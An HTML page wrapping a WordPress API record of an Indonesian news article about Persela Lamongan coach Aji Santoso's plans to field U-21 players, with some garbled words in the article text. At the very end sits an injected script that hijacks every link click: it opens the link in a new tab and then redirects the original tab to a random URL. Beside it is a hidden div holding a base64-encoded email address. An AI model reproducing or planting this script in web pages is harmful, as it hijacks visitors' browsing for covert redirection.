<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p>{"id":1369963,"date":"2025-06-05T19:33:11","date_gmt":"2025-06-05T12:33:11","guid":{"rendered":"https:\/\/beritajatim.com\/?p=1369963"},"modified":"2025-06-05T18:55:21","modified_gmt":"2025-06-05T11:55:21","slug":"aji-santoso-siap-orbitkan-bintang-muda-persela-regulasi-u-21-bukan-formalitas","status":"publish","type":"post","link":"https:\/\/beritajatim.com\/aji-santoso-siap-orbitkan-bintang-muda-persela-regulasi-u-21-bukan-formalitas","title":{"rendered":"Aji Santoso Siap Orbitkan Bintang Muda Persela, Regulasi U-21 Bukan Formalitas!"},"content":{"rendered":"</p><p><strong>Lamongan (beritajatim.com)&lt;\/strong&gt; &ndash; Pelatih Persela Lamongan, Aji Santoso, berkomitmen memaksimalkan regulasi pemain U-21 yang diterapkan di Liga 2, untuk mengorbitkan pemain muda.&lt;\/p&gt;\n<p>Menurut Aji, keberadaan regulasi U-21 bukan sekadar formalitas, melainkan peluang emas untuk mengorbitkan pemain muda berbakat, sehingga harus dimanfaatkan secara optimal demi masa depan sepak bola Indonesia.&lt;\/p&gt;\n</p><p>Pelatih asal Malang itu tidak ingin menurunkan pemainuda jlhanua sebatas menggugurkan kewajiban yang tertuang dalam aturan kompetisi. Melainkan harus mendapatkan menit bermain yang berkualitas, dan benar-benar siap bersaing di level profesional. &ldquo;Saya maunya nanti, walaupun pemain regulasi, harus siap main, siap bersaing,&rdquo; kata Aji, Kamis (5\/6\/2025).&lt;\/p&gt;\n\n</p><p>Aji memng dikenal sebagai pelatih yang cukup berhasil dalam mengorbitkan pemain muda. Pelatih 55 tahun itu tak ragu memberikan kepercayaan dan menit bermain.&lt;\/p&gt;\n</p><p>Berkat polesan tangan dinginnya, membuat pemain yang sebelumnya bukan siapa-siapa, mampu mengeluarkan kemampuan terbaik, memberikan kontribusi besar untuk tim dan menjadi pemain yang diperhitungkan.&lt;\/p&gt;\n</p><p>Sudah banyak pemain muda dari berbagai tim yang diorbitkan Aji. Terbaru, saat menangani PSPS Pekanbaru di Liga 2 musim lalu. Ada beberapa pemain muda potensial yang diberikan kepercayaan untuk bermain, dan berhasil memberikan kontribusi besar untuk tim.&lt;\/p&gt;\n</p><p>&ldquo;Ketika saya di PSPS, saya bukan sekedar menyertakan untuk memenuhi regulasi. Kemarin ada sadewa, kemudian Faris yang saya ambil dari Liga 4 ke PSPS, sekarang dipanggil untuk TC Timnas,&rdquo; ucapnya.&lt;\/p&gt;\n</p><p>Juru taktik pemegang lisensi kepelatihan Pro AFC itu menegaskan, tidak akan asal-asalan dalam merekrut pemain U-21 untuk Persela, agar mendapatkan pemain muda yang benar-benar potensial dan siap bersaing di level profesional.&lt;\/p&gt;\n</p><p>&ldquo;Artinya bahwa untuk pemain-pemain regulasi pun, tidak hanya sekedar ikut. Saya mau kalau dia bisa inti, ya inti, ndak ada masalah. Jadi nanti kita akan ambil 5 sampai 6 pemain regulasi,&rdquo; ucap Aji. <strong>(fak\/kun)&lt;\/strong&gt;&lt;\/p&gt;\n","protected":false},"excerpt":{"rendered":"<p>Pelatih Persela Lamongan, Aji Santoso, berkomitmen memaksimalkan regulasi pemain U-21 yang diterapkan di Liga 2, untuk mengorbitkan pemain muda.&lt;\/p&gt;\n","protected":false},"author":73,"featured_media":1369964,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[8],"tags":[627,294409,119750,294412,294411,294407,294405,294414,5679,294410,294406,294408,286891,294415,294413],"gn_keywords":[50991,294420,119771,294422,294421,294418,294416,294424,49203,242445,294417,294419,286899,268171,294423],"class_list":["post-1369963","post","type-post","status-publish","format-standard","has-post-thumbnail","category-olahraga","tag-aji-santoso","tag-faris-liga-4","tag-liga-2-indonesia","tag-menit-bermain-pemain-muda","tag-pelatih-afc-pro","tag-pemain-muda-liga-2","tag-pemain-muda-persela","tag-pengorbit-pemain-muda","tag-persela-lamongan","tag-psps-pekanbaru","tag-regulasi-u-21-liga-2","tag-sadewa","tag-sepak-bola-lamongan","tag-talenta-muda-indonesia","tag-timnas-indonesia-u-21"],"acf":[],"aioseo_notices":[],"distributor_meta":false,"distributor_terms":false,"distributor_media":false,"distributor_original_site_name":"beritajatim.com","distributor_original_site_url":"https:\/\/beritajatim.com","push-errors":false,"_links":{"self":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts\/1369963","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/users\/73"}],"replies":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/comments?post=1369963"}],"version-history":[{"count":0,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts\/1369963\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/media\/1369964"}],"wp:attachment":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/media?parent=1369963"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/categories?post=1369963"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/tags?post=1369963"},{"taxonomy":"gn_keywords","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/gn_keywords?post=1369963"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}</p></strong></p></strong></p><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
